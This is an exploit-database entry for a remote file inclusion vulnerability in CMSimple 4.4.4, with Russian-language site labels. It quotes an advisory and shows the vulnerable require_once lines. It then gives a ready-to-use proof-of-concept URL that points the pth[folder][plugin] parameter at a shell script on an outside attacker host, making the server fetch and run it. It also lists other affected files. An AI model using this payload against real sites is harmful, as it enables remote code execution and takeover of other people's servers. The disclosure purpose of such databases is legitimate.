Exploit CMSimple 4.4.4 - Remote File Inclusion

[Exploiter]

EDB-ID

39272

Проверка EDB

1. Пройдено

Автор

GOVIND SINGH

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2014-07-28

CMSimple 4.4.4 - Remote File Inclusion

source: https://www.securityfocus.com/bid/68961/info
 
CMSimple is prone to multiple security vulnerabilities including:
 
1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities
 
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

vulnerable file "http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php"

Vulnerable Code :
-----------------------------------vulnerable Code----------------------------------------

        require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';
        require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';

exploit Code :
-------------------------------------PoC----------------------------------------

http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?

also embedded These files :
    CMSimple/2lang/index.php
    CMSimple/2site/index.php
    CMSimple/cmsimple/cms.php
    CMSimple/index.php
    CMSimple/plugins/index.php